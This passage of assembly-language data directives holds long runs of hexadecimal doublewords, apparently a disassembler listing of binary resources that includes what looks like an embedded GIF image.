		dd 6C858FB1h, 593B2564h, 0B2D656CAh, 5EAC4597h,	0BBD769F5h
		dd 291A95E2h, 456846A5h, 96D25A3Bh, 45A7B4D6h, 0BB556A6Dh
		dd 0D6B6D65Ah, 6D85AFB5h, 5B3B656Ch, 0B6D6D6DAh, 6E6DC5B7h
		dd 0DE5BBB75h, 0ADB7D6F6h, 3B67294Dh, 16E25C3Bh, 45C7B8D7h
		dd 0BB95726Eh, 0D736E65Ch, 6E85CFB9h, 5D3BA574h, 0BAD756EAh
		dd 766EC5D7h, 0EE5DBBB5h, 0DFBBD776h, 0C5786F05h, 96F25E3Bh
		dd 45E7BCD7h, 0BBD57A6Fh, 0D7B6F65Eh, 6F85EFBDh, 5F3BE57Ch
		dd 0BED7D6FAh, 7E6FC5F7h, 0FE5FBBF5h, 0FFBFD7F6h, 5807005h
		dd 1702603Ch, 4607C0D8h, 0BC158270h, 0D8370660h, 70860FC1h
		dd 0E10C2584h, 3B000080h, 0
		dd 38464947h, 21D6137h,	0E700A4h, 10000h, 401h,	5000704h
		dd 0A070009h, 50C0802h,	0E080E0Bh, 12100A11h, 0C14120Dh
		dd 140F1A14h, 1B150E16h, 0F201B0Eh, 1F11211Dh, 25201323h
		dd 162B2618h, 291C3128h, 362D1B2Eh, 243C3221h, 39273F36h
		dd 443C2242h, 22453B2Ah, 42284E41h, 5446284Ah, 2B554829h
		dd 4C2E574Ah, 5B4E2F5Ah, 36635537h, 5E3A6C5Ah, 73603C70h
		dd 3E756337h, 673B7562h, 7C6A3D79h, 417E6C3Fh, 6F427F6Dh
		dd 88713E81h, 44847245h, 78468D76h, 89725F90h, 5A897459h
		dd 7C4A8A75h, 8F7A5F93h, 6297804Eh, 8250927Dh, 9C84529Ah
		dd 33958065h, 8654CA8Ah, 91816A9Dh, 6C97806Dh, 7C909382h
		dd 0A1895867h, 58BC8F3Fh, 913ECB87h, 0AA8C54B8h, 76978670h
		dd 8D5B9785h, 0A68F54A5h, 56998872h, 8973DB8Ah,	0AE90599Ah
		dd 41DD8C58h, 925AFF91h, 0B19553AFh, 55B2945Dh,	8D7EB397h
		dd 0A08F789Fh, 68B49856h, 9646A794h, 0FE9352FFh, 5BB69A58h
		dd 937BBC99h, 0B99C5BB0h, 7EF69854h, 9778A695h,	0BA9E5DA7h
		dd 86A7967Fh, 9F5EA895h, 0FF9A59BCh, 81BDA05Fh,	9E50A998h
		dd 0BEA160FFh, 7CFF9C5Bh, 9C69C899h, 0FC9C66E8h, 8CBAA270h
		dd 0A160AE9Bh, 0AF9C8DFFh, 7FAA9D91h, 0A46DD7A2h, 0B0A297FEh
		dd 6FFFA965h, 0A97BFFA7h, 0FFAA66C9h, 9AFDAA70h, 0AF7AB3A6h
		dd 0FFAE75C1h, 9EBAADA1h, 0B280CDADh, 0CEB098FFh, 0A7C8AEA3h
		dd 0B392B7AFh, 0FEBA6FDCh, 93C5B78Fh, 0B594DDB4h, 0FEB58BDEh
		dd 84C1B3A8h, 0B78DFFB9h, 0FEBC8EFFh, 91FEBA96h, 0BBB3FFBFh
		dd 0C6BDB5C3h, 9AE6C1A5h, 0C49DFEC2h, 0FCC5A3FFh, 0A9F7C7A2h
		dd 0C5BDF7C6h, 0FFC8A6CDh, 0BFCFC6BEh, 0CAA8D0C7h, 0FDCE9FFFh
		dd 0A7FCCAADh, 0CAC1FDCDh, 0FECCB0D2h, 0B2FFCFA9h, 0D0B8FFCFh
		dd 0D8D0C8FCh, 0B4FFD2BAh, 0D6B6FFD5h, 0DDD5CCFFh, 0BCFCD5C2h
		dd 0D7C4FDD8h, 0F8DBBAFEh, 0CFFFDCB7h, 0DAC2E0D8h, 0DBD9D4F9h
		dd 0D2FFDAC6h, 0DACBE2DAh, 0E4DBD3FCh, 0C6E5DCD4h, 0E1C5FDDEh
		dd 0E0DED8F9h, 0DAE7DED6h, 0E0D7E2DFh, 0FBE3C7E8h, 0CEE3E0DBh
		dd 0E1D8FBE2h, 0EAE2D9E9h, 0DCFDE5C9h, 0E3D4E4E2h, 0EBE3DAF8h
		dd 0DFE5E3DDh, 0E7CFE6E4h, 0FFE8CCFAh, 0D6FAE4DCh, 0E5E0FAE6h
		dd 0FBE7D7E8h, 0EAE9E6E1h, 0E5E1E3E4h, 0DDE4EDF5h, 0E2F0E7DFh
		dd 0E6E2EAE7h, 0F6E8DCF6h, 0E3EBE8E3h, 0E9E4F7E7h, 0F8E8E4ECh
		dd 0E0EDEAE5h, 0ECE6FAECh, 0F5EBEAEEh, 0DCEFEDE7h, 0EEE5FDF0h
		dd 0F2EFEAF7h, 0EBF9F0E8h, 0F1E4F3F0h, 0FFF3DFFFh, 0E9F4F1ECh
		dd 0F2EDFAF2h, 0FBF1F0F5h, 0EFF6F3EEh, 0F6F0F7F5h, 0F9F7F2F8h
		dd 0F3FBF6F9h, 0F8F6FBF8h, 0FCF9F4F4h, 0F5FCF8FAh, 0F8FEFDFAh
		dd 0F7FAF8F7h, 0F9FEFBF6h, 0FCFAF8FBh, 0FFFDF7F9h, 0FEFAFDFBh
		dd 0FEF8FFFCh, 0FBFDFFFFh, 0FCFFFFF9h, 0FFFEFBFFh, 2CFCh
		dd 21D0000h, 80000A4h, 87100FEh, 20B0481Ch, 88382241h
		dd 0B0C26110h, 518643A1h, 489C4A22h, 8B96A231h,	0DC6A3318h
		dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
		dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5132730Fh, 0CFA0D098h
		dd 2A79039Fh, 61B0A85Ch, 90518851h, 512A5CDEh, 50A7D3A6h
		dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30B4518h, 1A915FAFh
		dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
		dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
		dd 0BF7DC3E1h, 91B32C9Eh, 8E32D631h, 38C6469Dh,	0BDE42AB9h
		dd 0D16B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E4CB0E2h
		dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
		dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
		dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
		dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
		dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
		dd 4C026018h, 4336D8h, 44C6D833h, 2005D502h, 461083E0h
		dd 1484E128h, 0A0177EEh, 408075B6h, 809DB607h, 86208541h
		dd 2488E228h, 95E2896h,	96D81Bh, 0A6D60C0Bh, 0C6260941h
		dd 348CE328h, 102028D6h, 8336D40Dh, 90386503h, 0D6420h
		dd 0D089901h, 5406008h,	40164048h, 5040060Bh, 302A0046h
		dd 2B008010h, 941B5928h, 9B595252h, 0C0080F0Bh,	0DA0E0980h
		dd 6498E628h, 2220996h,	41D64050h, 0C0846508h, 20501961h
		dd 4004A430h, 784F18Ch,	41792814h, 193C3515h, 82B9081h
		dd 7F92A560h, 64281196h, 2E02035h, 69864C18h, 4690A3E6h
		dd 167C292Ah, 2465954h,	44719447h, 582A8Bh, 0D43B0319h
		dd 4A0105C6h, 9F6570DEh, 1A3A83h, 76424FAAh, 0B5FE09C1h
		dd 0A4E8E091h, 0EB6AD6B4h, 0C08DC9ADh, 0D4110CE1h, 1C824116h
		dd 165B508Ch, 41F0B82Eh, 0C0066103h, 5C6095C5h,	0CD93E839h
		dd 6D668A0Eh, 0EB8ACC4Fh, 3B66D8B5h, 940F0EE9h,	90B081D1h
		dd 3C65AE9h, 833196A1h,	20640E01h, 0DAC90DC2h, 0CFBB6B36h
		dd 18E4FAB6h, 0AD6181B5h, 0ABE6F8B6h, 540689AFh, 909A40C1h
		dd 1480C141h, 40E6D406h, 149B50Ah, 0BF0BBC6Fh, 1990Bh
		dd 0BEED5197h, 716C5714h, 90801584h, 7C146DA7h,	0CB95C150h
		dd 0C2C29642h, 0ECEAA6F2h, 86016C9h, 5EF709D9h,	30CBF2ECh
		dd 8227BFh, 802876B0h, 0E049B508h, 0A0551541h, 0EC90060h
		dd 0EF41C97h, 0C600BC0Ch, 1CB4080Bh, 374CD2F3h,	20D5DEDh
		dd 165B7164h, 47AB004h,	20100205h, 0BB400B41h, 65D06CFBh
		dd 4100BCh, 80508C0Ch, 0ADA768D3h, 74478836h, 70DBF6BBh
		dd 21F4DC7h, 0C6314823h, 2090130Eh, 7CDEFEF7h, 0CDE5DF7h
		dd 80201413h, 6DFA3003h, 2788E1F8h, 8CE2F8AEh, 0E3F8EE37h
		dd 0F92E4790h, 0E57A35E4h, 67987655h, 9CE6F9AEh, 0E7F9EE77h
		dd 0FA2E87A0h, 6E97A4E8h, 5796763Ah, 4059D5E7h,	0EBFAEEB5h
		dd 0FB2EC7B0h, 6ED7B4ECh, 0E7B8EDFBh, 0BCEEFBAEh, 0EFFBEEF7h
		dd 0FC2F07C0h, 0D50FB3F0h, 305A7455h, 0CC0D5031h, 0F3FCEF37h
		dd 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 0DCF6FDAFh, 0F7FDEF77h
		dd 0FE2F87E0h, 6F97E4F8h, 0A7E8F9FEh, 4C40FD9Fh, 579C9720h
		dd 0FB3EC38h, 63D4F83Eh, 0E7F8FDFFh, 0FCFEFFAFh, 0FFFFEFF7h
		dd 0A00C00h, 2C04807h, 880F01Ah, 1702A04Ch, 3A06C0C8h
		dd 8C1081F0h, 182704A0h, 0FC9FA40h, 9F7BC707h, 0F27E6F2h
		dd 83E3C079h, 8A10C20h,	12C24847h, 2884F09Ah, 570AA14Ch
		dd 0BA16C2C8h, 8C3085F0h, 48670CA1h, 0F0DA1AC3h, 0A1CC3886h
		dd 43C8770Eh, 1F107615h, 41C0FBFEh, 5A394FBh, 83C3E084h
		dd 12A248EEh, 26C4C897h, 5089F13Ah, 0A714A28Ch,	5A2AC548h
		dd 0CC588AF1h, 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh, 0C648C718h
		dd 8AD19A32h, 3E0790F0h, 0E2BEE212h, 35088144h,	7A3BA238h
		dd 0DA3AC748h, 0CC788EF1h, 0C8F71EA3h, 0F1FA3EC7h, 87742E8Fh
		dd 84406B1Ah, 0A272828h, 3D41A838h, 404731E0h, 9091F23Ah
		dd 2724A48Ch, 5A4AC949h, 0AC738592h, 78300D47h,	0B22E44C8h
		dd 0A50C9791h, 0CA494728h, 94F29A52h, 26E4CC7Ch, 441C990Dh
		dd 0A891922Ah, 672CA58Ch, 0DA5ACB49h, 0E4AA9232h, 93D2B64h
		dd 0F2FA5BCBh, 0A60CC097h, 4B998530h, 95C71A56h, 32A61C9Fh
		dd 66CCC997h, 0C58F733Ah, 412BE4ECh, 5A6ACCF9h,	0CCD89AF3h
		dd 0A9352C26h, 92F263CBh, 0A70CDA9Ah, 4E49C738h, 97734651h
		dd 3AA72CD3h
		dd 76CEC9D7h, 0DE9CF1DEh, 0E73BA74Ch, 0DA7ACF49h, 0FEF084F3h
		dd 0EF37E374h, 0FA7ECFC9h, 24F99CB3h, 0F97B320Eh, 0F41A82CFh
		dd 784C4A0h, 4FA98D37h,	0A1F42279h, 29288D10h, 819C1A03h
		dd 18A25382h, 0A146A8CDh, 4A55D0A9h, 0D1B9933h,	9A4748A9h
		dd 0C7028A43h, 0A94D24A2h, 42AA574Ah, 0A506FE93h, 4CA98D2Ch
		dd 0DF52EA57h, 38A674C0h, 6B4629CDh, 0EA9B9BDAh, 0F540A7F4h
		dd 0E3754F27h, 0F51AA0D3h, 6A1CECA8h, 0D48A8A6Eh, 9B153AA6h
		dd 530DC54Ah, 0AAD54A9Fh, 0B7AA330Eh, 3086A99h,	76AED5C0h
		dd 58011E15h, 38E95866h, 0F59647D6h, 6925678Fh,	0D6B83F5Ah
		dd 9255B61Eh, 47677D6Fh, 9050D9BBh, 71AD30AAh, 0F35967A5h
		dd 9ABE42FAh, 257EAF30h, 38416061h, 0F61670D8h,	0AC3C22AFh
		dd 438B1533h, 0AB46DAACh, 41AC4D82h, 0C6439AF7h, 9684F5B2h
		dd 0AD65AC3Dh, 5EC959B9h, 0A59D9DB6h, 36B63A1h,	15E211D9h
		dd 0EADD5CACh, 5A9B2F57h, 0B4D6B6D4h, 2BFE05ABh, 0DB1AD96Ah
		dd 0ABD6D6C4h, 5EED9D84h, 0DDD67B63h, 5FB096BEh, 676F2B0Dh
		dd 0AEDEDAEBh, 2DC5B716h, 0DB817061h, 9722E45Ah, 0EE3DCDB6h
		dd 0D6DB536Dh, 0B7F70AE7h, 726DCD9Fh, 0D95B2BB3h, 0D0BB7762h
		dd 0C574ACA5h, 6EDEDAFBh, 55C4BAD7h, 6BC176AEh,	769EEF5Eh
		dd 0AEEDD4B8h, 5E7B9F76h, 0BCB6AACFh, 7CAFBDAEh, 86573953h
		dd 2B9F740Ah, 0F7652BC4h, 0AEFC563Bh, 1E05C0F7h, 5BB97730h
		dd 76D2ADE0h, 30260EBEh, 0DC0B4D83h, 0BBB82AF9h, 5AF0BDEDh
		dd 0F9613B77h, 1AC23866h, 3377EECEh, 7AFDE17Ch,	0AE20C417h
		dd 5C2D8A2Eh, 0F81ACFE1h, 6EFE1DC3h, 0E12C4364h, 0C596AAF4h
		dd 8C2C95ACh, 4611C73h,	2DC5D83Fh, 2168E3EEh, 0C6FB5A53h
		dd 461DC578h, 6C178D6Ch, 0F84323E2h, 0ACC640C9h, 64DC978Fh
		dd 0B2381F0Ch, 93B2B650h, 26E3BBEDh, 59C37977h,	7B96706Eh
		dd 6F31664Ch, 0AE51CB59h, 0DB61FE71h, 1B34669Bh, 5668CCD9h
		dd 4C4B9571h, 99933561h, 28FD0BA3h, 5A785341h, 0BEF73B0Bh
		dd 833405B5h, 15D5ABDh,	49CC39FFh, 9188B196h, 1EDFDC5Ch
		dd 7658C7FAh, 3C45A131h, 0F73339E9h, 0F3B677B8h, 667C3D95h
		dd 0D35A6738h, 0A132DE9Dh, 29E52D3Dh, 0A2CCB977h, 99A5B416h
		dd 0FB50DE1Ch, 2865C871h, 9D4F9DF2h, 79BB2564h,	0B37E06B0h
		dd 0E3DC83ABh, 0CDB7AB2Fh, 0AAF54690h, 48EBDD87h, 2AD1997Bh
		dd 59AD31A6h, 83446BEDh, 1577CE5Ah, 0CD41B2F6h,	9A933669h
		dd 75BE75C7h, 51ECF1ADh, 0CF95DA74h, 5F3626BAh,	66601D9Bh
		dd 4CDB7B23h, 0A7A7F656h, 2F31E60Dh, 86C5DB3Ah,	9CDBBB77h
		dd 7A33536Ch, 0F676E7DDh, 6E0DA18Eh, 0D77BBB7Bh, 8537F5C2h
		dd 82E70DF9h, 0B2D611FFh, 0D9B372BEh, 331FEC7Ch, 0A6DADE7Ch
		dd 9B9B99B6h, 9C0B7569h, 0F0E6E8E2h, 716DF3B3h,	0C1DAEF1Bh
		dd 0BCB8C71Dh, 609E3FFEh, 0DA7C8B28h, 0B5F7DEC6h, 29F06BD3h
		dd 0C3DAD713h, 439C7916h, 384433Bh, 66C2DA38h, 0BD156DAFh
		dd 57D3135Ch, 0F44EADD5h, 0F41E0374h, 0BC1B539Dh, 0D2B04DF9h
		dd 0F673DADFh, 0BCD1D746h, 8971BA7Dh, 0C31A73BEh, 8F3DE91Bh
		dd 6BD17D2Bh, 5863A1EFh, 75B70AEAh, 6ACE93D1h, 0E7DD5AF7h
		dd 957B1DF1h, 0B2711BA1h, 7ABFBABFh, 1155A8BEh,	0D63B734Ah
		dd 6777923Dh, 6921DE61h, 1DCE8773h, 61E77BA2h, 783901E0h
		dd 0E0FE1614h, 9EF6F770h, 0C3D93EFFh, 8E981657h, 0F3426D87h
		dd 33B978ACh, 3798F2FEh, 0F9E3E267h, 0FE7BCCEDh, 7BEC93F3h
		dd 0FA4F41E7h, 0F297F3D2h, 0E9BC5F9Ch, 1EFACF57h, 0A4F55E8Ah
		dd 2333F71Ch, 8EBBEBCFh, 9DB7B41Ah, 2F6F86E4h, 1EEF51CCh
		dd 0E7C73FBBh, 0FB0AEBE6h, 0EC5ECA51h, 0E0B637B1h, 59710861h
		dd 30CF9BF2h, 0D7D5EB87h, 0E772FCAEh, 768EDE71h, 0FE5F0A39h
		dd 1E51796Fh, 7CA6D7FFh, 5B330EFEh, 0BF8A53FDh,	6476F7D4h
		dd 7D3FA9F3h, 0FB11E39Ch, 0F0B86675h, 0EEFC4F51h, 0E4E876E7h
		dd 0F17A3B1Dh, 9FB769BFh, 0F6C9BC77h, 67D6AA74h, 607507F7h
		dd 0C8067207h, 7FF7FC74h, 0BE7FD68Ah, 0A74B7CD5h, 8116547Dh
		dd 418075ACh, 0F7EC7C17h, 5D774080h, 5E5F880Ah,	760D7EB7h
		dd 80B5CE80h, 5C59E75Bh, 17C06407h, 42B77A7Fh, 0FA7D07DCh
		dd 0A75F71D6h, 7326D96Fh, 1A715713h, 8046DA7h, 68572D69h
		dd 486D26CEh, 0D6467F26h, 75460B83h, 0E268B76Dh, 76FF6295h
		dd 6F476576h, 24674631h, 0A8207266h, 71C83F83h,	3B844757h
		dd 0D72B7E28h, 82D4257Eh, 0E854786h, 38266F98h,	7D582A72h
		dd 4E65870Fh, 6E185E8h,	83557E84h, 5485F7FDh, 6E46EF6h
		dd 83B6D761h, 0A586A691h, 68458406h, 69786086h,	0E97175C3h
		dd 0D6AE7317h, 7E882781h, 0FF7C352Dh, 0E0FE77E5h, 168F75F7h
		dd 8037126Ch, 55817862h, 860488F7h, 8686E969h, 0B66956D2h
		dd 0D8945825h, 87A58068h, 7160369Bh, 46838288h,	7196E683h
		dd 0F5898877h, 0D88B86D5h, 6B569F72h, 0E7695713h, 0D8968A07h
		dd 84B7EC8Ah, 1588685Bh, 37627375h, 70289A87h, 4B6C069Ch
		dd 5EB8B26h, 6D57D171h,	0BE667729h, 47D15988h, 84C7C867h
		dd 608BE703h, 0F8708476h, 81984A87h, 0A58C2765h, 98767118h
		dd 7E56FB88h, 0CE8BF74Ch, 38898DF8h, 85C4298Eh,	0BF8BC884h
		dd 0A7E970B6h, 8D08A68Eh, 478C77F7h, 0B85D8C87h, 8617D671h
		dd 0D183085Fh, 88D8EF8h, 62B86E88h, 0E18ED704h,	38BB7158h
		dd 8DF7ED85h, 848D78F8h, 87DB6E88h, 8BA5278Bh, 458D85CAh
		dd 58508748h, 62D70E89h, 3E62360Ah, 18FF8528h, 90072C8Fh
		dd 0B66EF733h, 78F77F08h, 91770471h, 0EB65C912h, 0C83F8CB6h
		dd 9278C38Ah, 48DC918h,	3390FE19h, 0F9089246h, 42D87857h
		dd 0B5888E6h, 0E8097688h, 89A75972h, 2759754h, 96BD8C48h
		dd 69493576h, 3B8295E5h, 75CC8919h, 7557B96Bh, 43818681h
		dd 37CA81F8h, 7C08DA75h, 0D6940816h, 0C86F9546h, 74D8AC76h
		dd 0BE93C86Dh, 0F7517FA5h, 76975B7Ch, 2F8CA8E2h, 0F90C4989h
		dd 7E590E52h, 0CC7B44FFh, 17AD9724h, 9394A696h,	745058E4h
		dd 597B4CA9h, 7AE97D97h, 6F53696Dh, 0D4FC85A9h,	9864F780h
		dd 88437975h, 99784A59h, 98F98E98h, 3D981481h, 59909835h
		dd 42399699h, 9A99798Dh, 0B9999979h, 98E99E99h,	0A299F99Dh
		dd 39A17AB9h, 79F9A69Ah, 0AA9A79A5h, 0B9A978C9h, 5549AE9Ah
		dd 0B29AF9ADh, 39B15479h, 53A9B69Bh, 0BA9B79B5h, 0B9B95319h
		dd 5249BE9Bh, 0C29BF9BDh, 39C151A9h, 5109C69Ch,	0CA9C79C5h
		dd 0B9C95059h, 4F79CE9Ch, 0D29CF9CDh, 39D14EE9h, 5009D69Dh
		dd 94544992h, 0DC9D79FEh, 0C9D54F69h, 9E146743h, 0E49E39E2h
		dd 549845E9h, 9E99E89Eh, 9A9E89EAh, 38877F47h, 0F07887Ah
		dd 0F40FF0FBh, 79F69F59h, 9F99F89Fh, 0FC9FB9FAh, 0F9FE9FD9h
		dd 0A01A009Fh, 4A03A02h, 80FBA05Ah, 0F07C244h, 0CA0BA05h
		dd 0FA0EA0DAh, 0A11A10A0h, 96A089FEh, 0D4399DF4h, 0CD0DD41h
		dd 0CDA1B0CBh, 0FA1EA1D0h, 0CEA1EA1h, 24A220CDh, 5A26A23Ah
		dd 0A27A28A2h, 2CA29A2Ah, 0DA2EA2BAh, 0A2FA30A2h, 34A31A32h
		dd 5A36A33Ah, 0A20A35A3h, 0D2A20A3Ah, 0E0F70DD0h, 0F242841h
		dd 0C60D70F5h, 6A450C50h, 0A49A480Ch, 49A4BA4Ah, 0FA4E0C5Ah
		dd 0A51A50A4h, 54A53A52h, 0CA56A55Ah, 0A4BA58A4h, 5CA5BA56h
		dd 0DA5EA5DAh, 0A61A59A5h, 0CB0C6A47h, 1A070DB0h, 437A164Ah
		dd 0F50F60F5h, 905407D0h, 0A71A7004h, 49A73A72h, 7A7503F0h
		dd 0A79A76A7h, 7AA7BA78h
		dd 0FA7CA7DAh, 0A81A7EA7h, 0FEA83A80h, 84A85A82h, 9A86A87Ah
		dd 0A8BA88A8h, 71A8DA74h, 607D054Ah, 0F80F60Fh,	71A93428h
		dd 90320340h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh,	0AA3AA2AAh
		dd 0A6AA5AA4h, 9AA8AA7Ah, 34AA8AAh, 6C0F8071h, 5A69497Ah
		dd 0F10EE43h, 9108008Fh, 90830870h, 0ABB086ABh,	0BCABDABCh
		dd 86081Ah, 83081ACh, 0C6AC407Eh, 7AC8AC5Ah, 0AC1AC4ACh
		dd 0CDAC2ACCh, 1ACEACFAh, 0AD3AD0ADh, 0D4AD5AD2h, 9AD6AD7Ah
		dd 0ADBAD8ADh, 0CFADDADAh, 0BAE0ABEAh, 83AB9ABh, 85091087h
		dd 0D0F308F0h, 8F0F47Dh, 9F097062h, 1AF0AEF0h, 0AF3AF2AFh
		dd 0F6AF5AF4h, 9AF8AF7Ah, 0AFBAFAAFh, 0FEAFDAFCh, 7B00AFFAh
		dd 8F06209h, 887F60F4h,	88B99EE7h, 0F247F88h, 7205B0F6h
		dd 0A0A60A10h, 0A70A60Ah, 16B15B14h, 9B18B17Bh,	0B1BB1AB1h
		dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 13B1FB24h,	70A10A6Bh
		dd 0F605F07h, 42FE4A40h, 710460F9h, 40FF0E00h, 0B35B3441h
		dd 6B37B36h, 10E00FF4h,	0A3F04607h, 4B9D9A15h, 947B9DB5h
		dd 6A0E90Fh, 0A909E0A2h, 60B10B60h, 0B4D0B30Bh,	50B4FB4Eh
		dd 3B52B51Bh, 0B55B54B5h, 58B57B56h, 0BB5AB59Bh, 0B5DB5CB5h
		dd 0B6B4AB56h, 209E0A90h, 0E906D0Ah, 0E74260F9h, 0F0FF0390h
		dd 0B6D0D7A3h, 70B6FB6Eh, 3B72B71Bh, 0B75B74B7h, 78B77B76h
		dd 0BB7AB79Bh, 0B7DB7CB7h, 0F70F2B7Ch, 70390FF0h, 495B670Eh
		dd 0F9434AB1h, 0D0960890h, 0C80AD09h, 900E30C1h, 3B92B91Bh
		dd 0B95B94B9h, 98B97B96h, 0BB9AB99Bh, 0B9DB9CB9h, 0A0B9FB9Eh
		dd 80DEB9DBh, 9B0AD0Ch,	85089095h, 807A424Bh, 0DBA6B0Ah
		dd 0B00D90D7h, 3BB2BB1Bh, 0BB5BB4BBh, 0B8BB7BB6h, 0BBBABB9Bh
		dd 0BBDBBCBBh, 0C0BBFBBEh, 0B0D7BBDBh, 0A8A6C0Dh, 0A1BA907Ah
		dd 2552B407h, 0F847AB4h, 0A30A2070h, 0F0E10E40h, 0BD50EA0Dh
		dd 0BD7BFED6h, 0DABD9BD8h, 0DBDCBDBBh, 0BDFBDEBDh, 0E2BE1BE0h
		dd 5BE4BE3Bh, 0E6BE2BEh, 0A30E40E1h, 80700A20h,	49422BCh
		dd 0F70F40DDh, 50E00DD0h, 0BF7BF6BFh, 0FABF9BF8h, 0DBFCBFBBh
		dd 0BFFBFEBFh, 2C01C00h, 5C04C03Ch, 0A3EC04C0h,	490DD0F4h
		dd 0A4B8BEE0h, 0BCC559BCh, 660F8479h, 0F0AA0A00h, 0EE0ED0Fh
		dd 1AC190ECh, 0DC1CC1BCh, 0C1FC1EC1h, 22C21C20h, 5C24C23Ch
		dd 0C27C26C2h, 27C29C28h, 0A0FF0EDCh, 660A20Ah,	3D420C0Ch
		dd 0F0EF0D90h, 0C379EB0Fh, 5BC39C38h, 90EF0FF4h, 0C3103D0Dh
		dd 33B8748Fh, 805E0F64h, 0A120A909h, 4AC49C48h,	1C4CC4BCh
		dd 0A00ABA0h, 0F0C4005Eh, 0E0DB03C0h, 0C57C4D0Eh, 5AC59C58h
		dd 0B0EEA03Ch, 0C5203C0Dh, 32C42480h, 405E0F54h, 0A11C4709h
		dd 699F9001h, 5C6CC5BCh, 0C6DC6B9Fh, 980A9C4Ch,	0C426C510h
		dd 0B810E003h, 6EC6FA03h, 0A9F7C70Ch, 0C7FC7CC7h, 0C7EA01FEh
		dd 0E00F79FBh, 8B3FC5F0h, 0B0A90DB0h, 610F247Eh, 60A50920h
		dd 46048C0Fh, 9344C001h, 5467C3ACh, 0C980EEC9h,	0F0C38C92h
		dd 30A60F60h, 0C5206109h, 0FF0DB03Eh, 0C457C900h, 0C37C9455h
		dd 5CC96C9Ah, 0E455CAB4h, 0CB0451CAh, 0FFC9D44Ch, 3E0DB0h
		dd 6DDB07C6h, 79B067A9h, 208DC8C4h, 0E50EE0Ah, 0C4CC30DFh
		dd 7CC6CC5Ch, 1CC7CCh, 0C8CCACC4h, 0FCCECCDCh, 0CD1CD0CCh
		dd 0CCCCDCD2h, 3CD50DFCh, 0CD7CD0CDh, 0CDCDBCD8h, 20EE0E5Ch
		dd 0CA108C0Ah, 3E0F5425h, 5C360CB0h, 0CE90DD0Eh, 0ECCEBCEAh
		dd 0E0010DDCh, 0CEFCEBCEh, 0F4CF3CEDh, 0CF6CF5Ch, 0CF9CF7CFh
		dd 0FCCFBCFAh, 0DCF2CECCh, 0CFBCF8CFh, 0DECF5CFFh, 70CB0FFCh
		dd 0CBAC87CBh, 8C4917F5h, 0B0A208ACh, 0D60DF0Eh, 14D13D12h
		dd 6D16D15Dh, 0D13001D1h, 5ED12D19h, 7D1DD145h,	0D6D1AD1h
		dd 5DD1C55Ch, 2D25D215h, 0FEAD23D2h, 0D1BD27D1h, 29D28D21h
		dd 9D25D1EDh, 0D22D27D1h, 2FD24D28h, 0FD1BD2EDh, 0D20D1FD1h
		dd 16D3DD3Ch, 0B0EB0DFDh, 0CE207F09h, 0C6CE4424h, 0D0EB0FF0h
		dd 0D4B0D50Dh, 4ED4DD4Ch, 10D5Dh, 0D51D4DD5h, 4F55ED4Bh
		dd 0CD56D4FDh, 0D52D59D4h, 5DD5555Dh, 0DD51D54Dh, 0D53D55D5h
		dd 4ED62D5Ah, 0CD63D54Dh, 0D5A55CD5h, 63D6BD50h, 1D59D6EDh
		dd 0D6DD66D7h, 5BD62D70h, 7D52D74Dh, 0DDD4DD5h,	0C60FF0EBh
		dd 0EB86D080h, 0C1058FC0h, 610F7478h, 0A0A007F0h, 0D30DF0Eh
		dd 8ED8DD8Ch, 1D90D8FDh, 0D3001D9h, 95D8CD93h, 0DD98D96Dh
		dd 0D92D97D8h, 95D9BD97h, 0DD9A55CDh, 0D98D99D9h, 0A6D94D9Bh
		dd 0DD90D9ADh, 0D94DA2D9h, 9ED99DABh, 1DAFDA3Dh, 0DB3DB2D9h
		dd 94BD4DB3h, 3D440790h, 3E0F242h, 0EA0FF0C5h, 1A3B0DB0h
		dd 10CDDCh, 0C5DC4A1Dh,	6A1EDC7Dh, 0DCADC1DCh, 0C8DC8DC3h
		dd 0EDC955CDh, 0DFEC6DCh, 0A1FDCFDDh, 3ADD6DD3h, 0ADD3DCCAh
		dd 0DD1DDBDCh, 0D8DDCDC3h, 2DCEDCDDh, 0DD2DDADEh, 0CCDDCDE1h
		dd 0A0DBDC1Dh, 0C50FF0Eh, 62494D80h, 10F8431Ch,	9407C06h
		dd 0CF0DA0E9h, 0BDFADF90h, 0DFDDFCDFh, 10CFDFEh, 0AE01DFB0h
		dd 0E03E03DFh, 6DFCDFFh, 9E02E00Eh, 0E0DE09DFh,	0AE0BE0Ch
		dd 2E11E0FEh, 0E13E10E1h, 4E0EE11h, 9E05DFEEh, 0E1DE07E1h
		dd 0DADFFE1Eh, 60920E90h, 422DB907h, 0FF0C2CE4h, 0B0D90E90h
		dd 0E2DE2CA1h, 1A1BE2Eh, 1E2CE300h, 0E340CBE3h,	33E2FE32h
		dd 5E36E38Eh, 0E37E37E3h, 3BE34E36h, 2E2DE40Eh,	0E2EE39E4h
		dd 3CE3DE41h, 3E3EE49Eh, 0E4AE4CE4h, 4DE4AE47h,	8E44E50Eh
		dd 0CBE38E4h, 0FF0E90D9h, 9DEF0C20h, 96EC88BCh,	0F547DC8Ah
		dd 0E0750610h, 0D80E808h, 68E670C9h, 0BE6AE69Eh, 0C9E6CE6h
		dd 0A3E69001h, 0D55CE686h, 0E6FE6AE6h, 67684E72h, 0E79E76Eh
		dd 2E7BFEE7h, 0E6EE7DE7h, 75E78E79h, 0AE84E7EEh, 0E82E6EE7h
